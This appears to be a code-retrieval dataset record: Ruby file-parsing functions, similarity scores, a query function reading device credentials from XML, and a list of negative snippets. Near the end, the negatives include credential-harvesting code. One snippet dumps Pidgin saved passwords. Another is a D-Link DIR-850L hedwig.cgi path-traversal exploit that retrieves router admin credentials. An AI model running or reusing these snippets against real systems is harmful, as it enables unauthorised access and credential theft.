"def setLocale locale\n\t\t\t@locales = []\n\t\t\tbasedir = Dir.new(@basepath)\n\t\t\tbasedir.each do |fn|\n\t\t\t\tif File.file?(@basepath + \"/\" + fn) && fn.split('.')[1] == 'sllf'\n\t\t\t\t\t@locales << File.basename(fn, \".sllf\")\n\t\t\t\tend\n\t\t\tend\n\t\t\tif @locales.empty?\n\t\t\t\traise SimpleLion::FilesystemException.new(@basepath, \"No SLLF files present!\")\n\t\t\tend\n\t\t\tif locale != nil\n\t\t\t\tif !@locales.include?(locale)\n\t\t\t\t\traise SimpleLion::FileException.new(@basepath + \"/\" + locale + \".sllf\", \"No such locale!\")\n\t\t\t\tend\n\t\t\t\t@locale = locale\n\t\t\t\t@file = []\n\t\t\t\tfilepath = @basepath + \"/\" + @locale + \".sllf\"\n\t\t\t\tFile.open(filepath) do |fh|\n\t\t\t\t\tname = \"\"\n\t\t\t\t\tvalue = \"\"\n\t\t\t\t\tcategory = nil\n\t\t\t\t\tcategories = []\n\t\t\t\t\ti = 0\n\t\t\t\t\tfh.readlines.each do |line|\n\t\t\t\t\t\tline.strip!\n\t\t\t\t\t\ti = i+1\n\t\t\t\t\t\tif line[0] == '['\n\t\t\t\t\t\t\tif !name.empty?\n\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Not adding previous string because found the beginning of another string declaration!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tparsed = line.partition(\"[\").last.partition(\"]\").first\n\t\t\t\t\t\t\tsep1 = line.partition(\"[\")[1]\n\t\t\t\t\t\t\tsep2 = line.partition(\"[\").last.partition(\"]\")[1]\n\t\t\t\t\t\t\tif sep1.empty? || sep2.empty?\n\t\t\t\t\t\t\t\tparsed = \"\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif parsed.empty?\n\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Skipping invalid/empty string declaration!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tname = parsed\n\t\t\t\t\t\telsif line[0] == '{'\n\t\t\t\t\t\t\tparsed = line.partition(\"{\").last.partition(\"}\").first\n\t\t\t\t\t\t\tsep1 = line.partition(\"{\")[1]\n\t\t\t\t\t\t\tsep2 = line.partition(\"{\").last.partition(\"}\")[1]\n\t\t\t\t\t\t\tif sep1.empty? || sep2.empty?\n\t\t\t\t\t\t\t\tparsed = \"\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif parsed.empty?\n\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Skipping invalid/empty category declaration!\\n\"\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif parsed == \"end\"\n\t\t\t\t\t\t\t\t\tif category == nil\n\t\t\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Encountered end-of-category not matching to a category! Skipping...\\n\"\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\ttmpcat = category\n\t\t\t\t\t\t\t\t\t\tcategory = categories.pop\n\t\t\t\t\t\t\t\t\t\tif category == nil\n\t\t\t\t\t\t\t\t\t\t\t@file << tmpcat\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\tcategory.addLocalizationEntry(tmpcat)\n\t\t\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tif category != nil\n\t\t\t\t\t\t\t\t\t\tcategories << category\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tcategory = SimpleLion::LocalizationCategory.new(parsed)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tvalue = line\n\t\t\t\t\t\t\tif name.empty?\n\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Skipping value of invalid/empty string declaration!\\n\"\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tif value.empty?\n\t\t\t\t\t\t\t\t\tputs \"SLLF Parser: \" + File.basename(filepath) + \":\" + i.to_s + \" WARNING: Skipping empty value of string!\\n\"\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tstr = SimpleLion::LocalizationString.new(name, value)\n\t\t\t\t\t\t\t\t\tif category == nil\n\t\t\t\t\t\t\t\t\t\t@file << str\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tcategory.addLocalizationEntry(str)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tname = \"\"\n\t\t\t\t\t\t\tvalue = \"\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def parse_header(file)\n self.plural_count = 0\n self.plural_form = nil\n self.lang_name = nil\n self.items = {}\n\n content = File.open(file) { |f| f.read }\n\n # Get the plural form data from the correct location in the header.\n # These will be written to the header area of the PO/POT file.\n match = content.match(%r!^static uint whichPluralForm.*?\\{.*?/\\* Plural-Forms: nplurals=(.*?);.*?\\*/.*return (.*?;).*?\\}!m)\n if match\n self.plural_count = match[1]\n self.plural_form = match[2]\n else\n @@log.error \"#{__method__}: Could not determine the plural form. Something wrong with source file?\"\n return false\n end\n\n # The language name is used for file names and setting PO information.\n match = content.match(/^static languageDefinition (.*) =.*$/)\n if match\n self.lang_name = match[1]\n else\n @@log.error \"#{__method__}: Could not determine the language name. Something wrong with source file?\"\n return false\n end\n\n # Build a catalogue of all items.\n content.scan(%r!^\\s*\\{(?:/\\* (.*?) \\*/)?\\s*(.*?),\\s*(.*?),\\s*(.*?)\\s*\\},?!m) do | comment, key, num_case, string |\n l_key = key.to_sym\n self.items[l_key] = {} unless items.has_key?(l_key)\n self.items[l_key][num_case] = {}\n self.items[l_key][num_case][:comment] = comment ? comment.sub( /\\(fuzzy\\) /i, '') : nil\n self.items[l_key][num_case][:fuzzy] = ( comment =~ /\\(fuzzy\\) /i ) != nil\n self.items[l_key][num_case][:case] = num_case\n self.items[l_key][num_case][:if_group] = nil\n # Reconstitute Hex Escapes\n tmp = string.each_line.collect do |line|\n line.lstrip.gsub(/\\\\x(..)/) { |g| [$1.hex].pack('c*').force_encoding('UTF-8') }\n end\n # Eliminate C double-double-quotes.\n tmp = tmp.join.gsub(/(?<!\\\\)\"\"/) { |g| }\n self.items[l_key][num_case][:string] = tmp\n end\n if !self.items || self.items.empty?\n @@log.error \"#{__method__}: Could not match language contents. Something wrong with source file?\"\n self.items = {}\n return false\n end\n\n # Post-process things that are in #if blocks. This second pass is still\n # simpler than building a state machine to process the file line by line.\n # We'll have to group this hash by :if_group when we write it out, and\n # store it in a special developer comment in the PO file.\n content.scan(%r!^#if (.*?)#endif!m) do | found_block |\n found_block[0].scan(%r!^\\s*\\{(?:/\\* .*? \\*/)?\\s*(.*?),\\s*.*?,\\s*.*?\\s*\\},?!m) do | item |\n self.items[item[0].to_sym].each_value do | plural |\n plural[:if_group] = found_block[0].each_line(\"\\n\").to_a[0].rstrip\n end\n end\n end\n\n true\n end",
"def parse_file(file)\n File.open(file) do |f|\n parse_snippet(f.read)\n end\n end",
"def parse_multilang_file(filename)\n line_number = 1\n languages = []\n species = {}\n current_offset = 0\n current_species = nil\n current_species_translations = {}\n\n CSV.foreach(filename, \"r\") do |line|\n if line_number > 1\n next unless line[1].nil?\n next unless line[2].nil?\n end\n\n if line_number < 4\n languages[line_number - 1] = []\n parse_language_line(line, line_number - 1).each do |language|\n languages[line_number - 1] << {\n column: line.index(language),\n name: language\n }\n end\n elsif not line[3].nil? and current_species != line[3]\n # store current species if exists\n if not current_species.nil?\n species[current_species] = current_species_translations\n end\n # new species\n current_offset = 0\n current_species = line[3]\n current_species_translations = {}\n\n languages[current_offset].each do |language|\n current_species_translations[language[:name].downcase.to_sym] = line[language[:column]]\n end\n current_offset += 1\n else\n # add more languages\n languages[current_offset].each do |language|\n current_species_translations[language[:name].downcase.to_sym] = line[language[:column]]\n end\n current_offset += 1\n end\n line_number += 1\n end\n\n species[current_species] = current_species_translations\n species\nend",
"def tv_file(file)\n # FIXME: refactor!!!!\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n \n ext = \".*\\.(#{ext_list})$\" \n name, season, episode = \"\", \"\", \"\"\n $config['series']['regex'].each do |pattern| \n if file =~ /#{pattern}#{ext}/i\n name = $1 if $1\n season = $2 if $2\n episode = $3 if $3\n episode = \"#{$3}x#{$4}\" if $3 and $4 =~ /^\\d/ \n return true, name, season, episode\n end\n end\n return false, name, season, episode\nend",
"def initialize(file)\n @file = file\n @original_file = file\n @status, @show, @season, @number, @name, @series_name = false, \"\", \"\", \"\", \"\", \"\"\n @status, show, @season, @number = tv_file File.basename file\n @season.gsub!(/^s/i,'')\n @season.gsub!(/^0/,'') if @season != \"0\" \n @number.gsub!(/^0/,'') if @number != \"0\"\n \n @show = show_name_rename show\n @series_name = @show\n \n #@number.gsub!(/^/,'0') if @number.to_i < 10 and @number.to_i != 0\n end",
"def parse_file(file)\n comment_symbol = \"//\"\n comment_matcher = Regexp.new('^\\\\s*' + comment_symbol + '\\\\s?')\n comment_filter = Regexp.new('(^#![/]|^\\\\s*#\\\\{)')\n\n docs_text = code_text = '';\n has_code = false\n \n if @filename\n #puts \"FILE: #{@filename}\" #debugging\n #get file as one string for class detecting\n f = File.new(@filename)\n text = f.read\n f.close\n \n code = IO.readlines(@filename)\n code.each_with_index do |line, index|\n if comment_matcher.match(line) and !comment_filter.match(line) \n if has_code\n save_section(docs_text, code_text)\n \n #reset docs and code\n docs_text = code_text = ''\n has_code = false\n end\n\n #docs_text += line.sub(comment_matcher, '') + \"\\n\"\n docs_text += line.sub(comment_matcher, '')\n else\n #remove tabs\n #line.gsub!(\"\\t\", \"\")\n line.gsub!(\"\\t\", \" \")\n\n #remove newlines\n line.gsub!(/\\n+/, \"\")\n\n #remove whitespace\n line.gsub!(/$\\s+/, \"\")\n line.gsub!(/^\\s+/, \"\")\n\n line = line.gsub('\\t', \"\").gsub('\\n',\"\").gsub(/\\s+1/,\"\")\n\n has_code = true\n code_text += line + \"\\n\"\n #code_text += line\n \n if line.match(/(class|public|private)\\s+((?!boost)\\w+\\s*)(\\s+|;|:|\\{)?/)\n keyword = $2\n thirdComponent = $3\n #remove all beginning and trailling whitespace\n keyword = keyword.gsub(/^\\s+/, \"\").gsub(/\\s+$/, \"\")\n\n pKeyword = PotionKeyword.new(keyword)\n pKeyword.origin = @filename.split('/').last\n #puts \"\\tChecking #{pKeyword.word}...\" #debugging\n if @master_list_ref.contains_keyword(keyword) == false && thirdComponent != \";\" && keyword.length > 1\n @master_list_ref.keywords << pKeyword \n #puts \"\\tMatched Line: #{line}\" #debugging\n #puts \"\\tAdded #{keyword} to the master list\\n\\n\" #debugging\n end\n end\n end\n end\n\n save_section(docs_text, code_text)\n end\n end",
"def augparse_filter(file, lens, filter, result)\n # duplicate the original since we use aug.mv\n tmpin = Tempfile.new(\"original\")\n tmpin.write(File.read(file))\n tmpin.close\n\n tmpout = Tempfile.new(\"filtered\")\n tmpout.close\n\n aug_open(tmpin.path, lens) do |aug|\n # Load a transform of the target, so Augeas can write into it\n aug.transform(\n :lens => lens,\n :name => lens.split(\".\")[0],\n :incl => tmpout.path,\n :excl => []\n )\n aug.load!\n tmpaug = \"/files#{tmpout.path}\"\n raise AugeasSpec::Error, \"Augeas didn't load empty file #{tmpout.path}\" if aug.match(tmpaug).empty?\n\n # Check the filter matches something and move it\n ftmatch = aug.match(filter)\n raise AugeasSpec::Error, \"Filter #{filter} within #{file} matched #{ftmatch.size} nodes, should match at least one\" if ftmatch.empty?\n\n begin\n # Loop on aug_match as path indexes will change as we move nodes\n fp = ftmatch.first\n aug.mv(fp, \"#{tmpaug}/#{fp.split(/\\//)[-1]}\")\n ftmatch = aug.match(filter)\n end while not ftmatch.empty?\n\n aug.save!\n end\n\n augparse(tmpout.path, lens, result)\n ensure\n tmpin.unlink\n tmpout.unlink\n end",
"def parse_filenames(path)\n\t\t#first if checks if it's a directory, a file or neither\n\t\tif File.directory?(path)\n\t\t\tdirname = path.chomp\n\t\t\t@files = File.join(path, \"*.vm\")\n\t\t\t@files = Dir.glob(@files)\n\t\t\t#if we have no files, there's nothing we can do, EXCEPTION\n\t\t\tif (@files.length == 0)\n\t\t\t\traise StandardError, \"No files to open\"\n\t\t\tend \n\t\t\tputs @files\n\t\t\tname = File.basename(dirname)\n\t\t\t@output = dirname + \"/\" + name + \".asm\"\n\t\telsif File.file?(path)\n\t\t\t#make sure the file is of the .vm type\n\t\t\tif (File.extname(path) == '.vm')\n\t\t\t\t#generate our output path\n\t\t\t\t@files = path\n\t\t\t\tf_path = File.split(path)[0]\n\t\t\t\tf_base = File.basename(path, '.vm')\n\t\t\t\tnFile = \"#{f_path}/#{f_base}.asm\"\n\t\t\t\t@output = nFile\n\t\t\telse\n\t\t\t\traise \"Error, cannot open this file!\"\n\t\t\tend\n\t\telse\n\t\t\traise \"ERROR, not a file or directory!\"\n\t\tend\n\t\t\n\t\t#return everything\n\t\treturn @files\n\tend",
"def parse\n # TODO: Try to convert lsynth parts, maybe flag parts that are troublesome for manual editing,\n # look up to see if I've stored a conversion from ldraw ID to Bricklink ID,\n # convert Ldraw color IDs to BL color IDs, etc.\n parts = {}\n temp_parts = []\n\n @lines.each_with_index do |line, i|\n # This will stop getting parts for the base model once a submodel is reached\n break if line.match(/0 FILE/) && i > 15\n\n @submodels << line.match(/\\w+\\.ldr/).to_s.downcase if line.match(/^1/) && line.match(/\\.ldr$/)\n @lsynthed_parts << line.gsub('0 SYNTH BEGIN', '').split if line =~ /^0 SYNTH BEGIN/\n next unless line.match(/^1/) && line.match(/.dat$/)\n\n part = line.match(/\\w+\\.dat/).to_s.gsub!('.dat', '')\n next if lsynth_part?(part)\n\n color = line.match(/^1\\s\\d+/).to_s.gsub!('1 ', '')\n bl_part = get_bl_part_number(part)\n temp_parts << [bl_part, color, part]\n end\n\n # Now go through all submodels to determine the parts belonging to the submodels\n temp_parts = handle_submodels(temp_parts)\n\n # Not yet functional\n # handle_lsynthed_parts(temp_parts)\n\n temp_parts.each do |info|\n if parts.key?(\"#{info[0]}_#{info[1]}\")\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] += 1\n else\n parts[\"#{info[0]}_#{info[1]}\"] = {}\n parts[\"#{info[0]}_#{info[1]}\"]['quantity'] = 1\n parts[\"#{info[0]}_#{info[1]}\"]['ldraw_part_num'] = info[2]\n end\n end\n\n parts\n end",
"def process_directory\n Dir.foreach(@source) do |f|\n next unless f.match(/[a-z]{2}[0-9]{3}[a-z]{2}[0-9]{4}\\.xml/)\n druid = get_druid_from_filename(f)\n mods_file = MODSFile.new(Nokogiri::XML(File.open(File.join(@source, f))), @template_xml, @namespace)\n process_mods_file(mods_file, druid)\n end\n write_output if @analysis_only == false\n report_data_loss\n end",
"def parse_kramdown(file)\n ::Kramdown::Document.new File.readlines(file).join, :input => 'QuickStartParser' \n end",
"def altered_files\n parse!\n @altered_files\n end",
"def parse_fam\n layer_regexp = %r{%fam/[^/]*/}\n return self unless match?(layer_regexp)\n\n while match?(layer_regexp)\n original = match(layer_regexp)[0]\n icons = scan_layer_icons(original)\n gsubs!(original, FA::Layer.p(icons))\n end\n end",
"def substitute_file_filters(sql)\n sql.scan(/:file_filtering_conditions_for_[a-z_]+/) do |file_filter|\n if file_filter.present?\n resource_name = file_filter.sub(':file_filtering_conditions_for_', '')\n ffcond = file_filtering_conditions resource_name\n sql = sql.sub(file_filter, ffcond)\n end\n end\n sql\n end",
"def prepare_files_to_rate files\n f = {}\n files.each do |file|\n f[file] = {'total_lines'=>0, 'lines_with_error'=>0, 'total_errors'=>0}\n f[file]['categories'] = {}\n ActiveRecord::Base.connection_pool.with_connection do \n CodeCategory.find_each do |category|\n f[file]['categories'] = f[file]['categories'].merge({category.name => {}})\n f[file]['categories'][category.name] = f[file]['categories'][category.name].merge({'total_errors'=>0, 'lines_with_error'=>0, 'weight'=>category.weight})\n end\n end\n end\n return f\n end",
"def file\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 6:5: ( NL )? (a= definition )*\n # at line 6:5: ( NL )?\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == NL )\n alt_1 = 1\n end\n case alt_1\n when 1\n # at line 6:5: NL\n match( NL, TOKENS_FOLLOWING_NL_IN_file_27 )\n\n end\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = DefinitionListEval.new \n # <-- action\n end\n\n # at line 7:3: (a= definition )*\n while true # decision 2\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == COMPONENT || look_2_0.between?( ENTITY, ENUM ) || look_2_0 == OPEN || look_2_0 == SYSTEM )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 7:4: a= definition\n @state.following.push( TOKENS_FOLLOWING_definition_IN_file_37 )\n a = definition\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value.add_definition(a) \n # <-- action\n end\n\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n\n end\n\n return value\n end",
"def files_to_translate\n folders = [\n \"app\",\n \"lib\",\n \"config\",\n locale_path\n ].join(\",\")\n\n exts = [\n \"rb\",\n \"erb\",\n \"haml\",\n \"slim\",\n \"rhtml\",\n \"js\",\n \"jsx\",\n \"vue\",\n \"coffee\",\n \"handlebars\",\n \"hbs\",\n \"mustache\"\n ].join(\",\")\n\n Dir.glob(\n \"{#{folders}}/**/*.{#{exts}}\"\n )\n end"
] |
[
"0.6228739",
"0.6201583",
"0.6196791",
"0.61641735",
"0.61623263",
"0.6088503",
"0.6051854",
"0.5990033",
"0.5845432",
"0.5765242",
"0.5764606",
"0.57329243",
"0.57281166",
"0.5727516",
"0.56519943",
"0.55870897",
"0.5545938",
"0.5501342",
"0.5455212",
"0.5451437",
"0.5447954",
"0.5440644",
"0.5405603",
"0.5405603",
"0.5389924",
"0.538974",
"0.5379931",
"0.536565",
"0.53626996",
"0.5352494",
"0.53482753",
"0.53476363",
"0.5347349",
"0.5338924",
"0.5336794",
"0.53265065",
"0.53143626",
"0.52515703",
"0.52376366",
"0.52369684",
"0.52359104",
"0.5225247",
"0.5223546",
"0.52227056",
"0.521296",
"0.5212937",
"0.52094364",
"0.52004474",
"0.5192896",
"0.51870483",
"0.518652",
"0.51854813",
"0.5182515",
"0.5174069",
"0.5173325",
"0.5171089",
"0.5140637",
"0.5133979",
"0.51304054",
"0.5105946",
"0.51022345",
"0.50936955",
"0.509166",
"0.5079626",
"0.50755054",
"0.507432",
"0.5073367",
"0.5072359",
"0.5068526",
"0.50653124",
"0.5061141",
"0.5056368",
"0.50541496",
"0.5052728",
"0.50512594",
"0.5050975",
"0.5045528",
"0.5045528",
"0.50435996",
"0.50371",
"0.50222474",
"0.5021461",
"0.50181943",
"0.50080615",
"0.50021964",
"0.4999889",
"0.49960986",
"0.4994388",
"0.4993515",
"0.4989667",
"0.4989437",
"0.49892166",
"0.49867067",
"0.49862725",
"0.49856716",
"0.49851352",
"0.49821866",
"0.4974113",
"0.49703488",
"0.49662098"
] |
0.51546496
|
56
|
Parses dev_type and password from xml
|
def parseDeviceData(doc, params)
dev_type = (doc.find_first('//xmpp2rest/user/device/dev_type')) ? doc.find_first('//xmpp2rest/user/device/dev_type').content : nil
password = (doc.find_first('//xmpp2rest/user/device/password')) ? doc.find_first('//xmpp2rest/user/device/password').content : nil
if not dev_type or not password
raise Exception.new("Missing elements data for creating new device!")
end
params.merge!({:dev_type => dev_type})
params.merge!({:password => password})
return params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_user!\n login_xml = Hpricot.XML(self.login_token) \n item = (login_xml/:login).first\n self.login_type = item[\"type\"]\n self.login_id = (item/:login_id).inner_html\n self.name = (item/:name).inner_html\n self.email = (item/:email).inner_html\n self.expires_at = (item/:expires_at).inner_html\n self.auth_for = (item/:auth_for).inner_html\n return true \n end",
"def extract_creds(path)\n\taccounts_xml = \"\"\n\tcreds = \"\"\n\tprint_status(\"Reading accounts.xml file...\")\n\t### modified to use pidgin_path, which already has .purple in it\n\taccount_file = @client.fs.file.new(path + \"\\\\accounts.xml\", \"rb\")\n\tuntil account_file.eof?\n\t\taccounts_xml << account_file.read\n\tend\n\taccount_file.close\n\tdoc = (REXML::Document.new accounts_xml).root\n\tdoc.elements.each(\"account\") {|element|\n\t\tpassword = \"<unknown>\"\n\t\tif element.elements[\"password\"]\n\t\t\tpassword=element.elements[\"password\"].text\n\t\tend\n\n\t\tprint_status(\"\\tProtocol: #{element.elements[\"protocol\"].text}\")\n\t\tprint_status(\"\\tUsername: #{element.elements[\"name\"].text}\")\n\t\tprint_status(\"\\tPassword: #{element.elements[\"password\"].text}\")\n\t\tprint_status(\"\\tServer: #{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\")\n\t\tprint_status(\"\\tPort: #{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\")\n\t\tprint_status()\n\n\t\tcreds << \"user=>#{element.elements[\"name\"].text}\"\n\t\tcreds << \"\\tpass=>#{password}\"\n\t\tcreds << \"\\tserver=>#{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\"\n\t\tcreds << \":#{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\"\n\t\tcreds << \"\\tproto=>#{element.elements[\"protocol\"].text}\\n\"\n\t}\n\treturn creds\nend",
"def parse_config(config)\n\t\tif not config =~ /<Version>\\d<\\/Version>/\n\t\t\tcreds = {}\n\t\t\tcred_group = config.split(\"</SavedCredentials>\")\n\t\t\tcred_group.each { |cred|\n\t\t\t\tuser = /<Username>([^<]+)<\\/Username>/.match(cred)\n\t\t\t\tpass = /<Password>([^<]+)<\\/Password>/.match(cred)\n\t\t\t\tif user and pass\n\t\t\t\t\tcreds[user[1]] = pass[1]\n\t\t\t\tend\n\t\t\t}\n\t\t\treturn creds\n\t\telse\n\t\t\tprint_error(\"Module only works against configs from version < 1.7.15\")\n\t\t\treturn nil\n\t\tend\n\tend",
"def contacts(xml)\n xml.__send__(:\"clientbio:Password\", \"Testing\")\n end",
"def profile_xml(xml, values)\n ns_key = \"#{namespace_key(:profile)}\"\n xml[ns_key].Api_type values[:api_type]\n xml[ns_key].LicenceKey values[:license_key]\n xml[ns_key].LoginID values[:login_id]\n xml[ns_key].Version values[:version]\n xml\n end",
"def login_user(xml) \n login = xml.root.get_elements('User').first.text \n password = xml.root.get_elements('Password').first.text \n self.current_user = User.authenticate(login, password) \n end",
"def retrieve_creds\r\n begin\r\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\r\\n\"\r\n xml << \"<postxml>\\r\\n\"\r\n xml << \"<module>\\r\\n\"\r\n xml << \" <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\\r\\n\"\r\n xml << \"</module>\\r\\n\"\r\n xml << \"</postxml>\"\r\n res = send_request_cgi({\r\n 'uri' => '/hedwig.cgi',\r\n 'method' => 'POST',\r\n 'encode_params' => false,\r\n 'headers' => {\r\n 'Accept-Encoding' => 'gzip, deflate',\r\n 'Accept' => '*/*'\r\n },\r\n 'ctype' => 'text/xml',\r\n 'cookie' => \"uid=#{Rex::Text.rand_text_alpha_lower(8)}\",\r\n 'data' => xml,\r\n })\r\n if res.body =~ /<password>(.*)<\\/password>/ # fixes stack trace issue\r\n parse = res.get_xml_document\r\n username = parse.at('//name').text\r\n password = parse.at('//password').text\r\n vprint_good(\"#{peer} - Retrieved the username/password combo #{username}/#{password}\")\r\n loot = store_loot(\"dlink.dir850l.login\", \"text/plain\", rhost, res.body)\r\n print_good(\"#{peer} - Downloaded credentials to #{loot}\")\r\n return username, password\r\n else\r\n fail_with(Failure::NotFound, \"#{peer} - Credentials could not be obtained\")\r\n end\r\n rescue ::Rex::ConnectionError\r\n fail_with(Failure::Unknown, \"#{peer} - Unable to connect to target.\")\r\n end\r\n end",
"def build_user_details(xml, options)\n xml.User{\n xml.Name(@options[:user])\n xml.Password(@options[:password])\n xml.ClientId(@options[:clientId], :DataType => \"S32\")\n }\n end",
"def get_params_from_xml(xml) \n empty = REXML::Element.new('empty') \n empty_attr = REXML::Attribute.new('empty') \n ret = {} \n root = xml.root \n \n ret.merge!('openid.mode' => \"checkid_#{$1.downcase}\") if root.xpath =~ /OpenIDCheckID(.*)/ \n if req = root.get_elements('Request').first \n ret.merge!('openid.identity' => ((req.get_elements('Identity').first || empty).text || '').strip, \n 'openid.assoc_handle' => ((req.get_elements('AssocHandle').first || empty).text || '').strip, \n 'openid.return_to' => ((req.get_elements('ReturnTo').first || empty).text || '').strip, \n 'openid.trust_root' => ((req.get_elements('TrustRoot').first || empty).text || '').strip) \n if sreg = req.get_elements('Sreg').first \n ret.merge!('openid.sreg.required' => ((sreg.attribute('required') || empty_attr).value || '').strip, \n 'openid.sreg.optional' => ((sreg.attribute('optional') || empty_attr).value || '').strip, \n 'openid.sreg.policy_url' => ((sreg.attribute('policy_url') || empty_attr).value || '').strip) \n end \n end \n return ret \n end",
"def parseUserData(doc, params)\n \n real_name = (doc.find_first('//xmpp2rest/user/real_name')) ? doc.find_first('//xmpp2rest/user/real_name').content : nil\n password = (doc.find_first('//xmpp2rest/user/password')) ? doc.find_first('//xmpp2rest/user/password').content : nil\n \n if not real_name or not password\n raise Exception.new(\"Missing elements data for creating new user!\")\n end \n \n params.merge!({:real_name => real_name})\n params.merge!({:password => password})\n \n return params\n end",
"def test_parse_valid_xml_returns_hash\n name = \"A name\"\n type = \"A type\"\n xml = \"<data><name>#{name}</name><type>#{type}</type></data>\"\n parser = ChainReactor::Parsers::XmlSimpleParser.new get_logger\n cause = parser.parse(xml,[],false)\n assert_equal name, cause['name'].first\n assert_equal type, cause['type'].first\n end",
"def password\n first_element_text('password')\n end",
"def personal_information(xml)\n xml.__send__(:\"clientbio:DateOfBirth\", applicant.date_of_birth.to_fs(:ccms_date))\n xml.__send__(:\"clientbio:Gender\", \"UNSPECIFIED\")\n xml.__send__(:\"clientbio:MaritalStatus\", \"U\")\n xml.__send__(:\"clientbio:VulnerableClient\", false)\n xml.__send__(:\"clientbio:HighProfileClient\", false)\n xml.__send__(:\"clientbio:VexatiousLitigant\", false)\n xml.__send__(:\"clientbio:CountryOfOrigin\", \"GBR\")\n xml.__send__(:\"clientbio:MentalCapacityInd\", false)\n end",
"def init_from_xml(xmlDoc)\r\n @type = xmlDoc.expanded_name\r\n xmlDoc.each_element(\"ID\") { |e| @procID = e.text }\r\n xmlDoc.each_element(\"GROUP\") { |e| @group = e.text }\r\n xmlDoc.each_element(\"PATH\") { |e| @path = e.text }\r\n xmlDoc.each_element(\"ARGSLINE\") { |e| @cmdLineArgs = e.text }\r\n xmlDoc.each_element(\"ENV\") { |e| @env = e.text }\r\n # Dump the XML description of the OML configuration into a file\r\n xmlDoc.each_element(\"OML_CONFIG\") { |config|\r\n configPath = nil\r\n config.each_element(\"omlc\") { |omlc|\r\n configPath = \"/tmp/#{omlc.attributes['exp_id']}-#{@procID}.xml\"\r\n }\r\n f = File.new(configPath, \"w+\")\r\n config.each_element {|el|\r\n f << el.to_s\r\n }\r\n f.close\r\n # Set the OML_CONFIG environment with the path to the XML file\r\n @env << \" OML_CONFIG=#{configPath} \"\r\n }\r\n end",
"def parse_xml xml\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result = result['result'] if result['result']\n result\n end",
"def parse_xml(post)\n @params = Hash.from_xml(post)\n end",
"def extract_values_from_xml(xml)\n if xml =~ /\\<.*\\>/\n x = Hpricot::XML(xml)\n new_hash = (x/\"form/field\").map {|field|\n {field[:id].to_s => (field[:value] || field.inner_text)}\n }.inject{|i, j| i.merge(j) }\n logger.info \"Received XML body:\\n#{xml}\\nMapped to: #{new_hash}\"\n new_hash\n end\n end",
"def _from_xml(xml)\n return XmlSimple.xml_in(xml, {\n 'ForceArray'=>['accessGroup'],\n 'GroupTags'=>{\n 'services'=>'service',\n 'metros'=>'metro',\n 'networkIdentifiers'=>'ni'\n },\n 'KeyAttr'=>['id','name']\n })\n end",
"def config_seraph_config_xml()\n seraph_xml = File.readlines(self.seraph_config_xml()).map do |line|\n if m = /(#{Regexp.quote(self.seraph_config_xml_auth_class_token())})/.match(line)\n self.debug(m[0])\n new_str = \"#{m.pre_match}#{self.cas_authenticator_class()}#{m.post_match}\"\n self.debug(new_str)\n new_str\n elsif m = /(#{Regexp.quote(self.seraph_config_xml_logout_url_token())})/.match(line)\n self.debug(m[0])\n new_str = \"#{m.pre_match}#{self.cas_server_url()}/logout#{m.post_match}\"\n self.debug(new_str)\n new_str\n else\n line\n end\n end\n \n File.open(self.seraph_config_xml(), \"w\") do |io|\n seraph_xml.each { |line| io.puts(line) }\n end\n end",
"def append_user_info(username, xml); end",
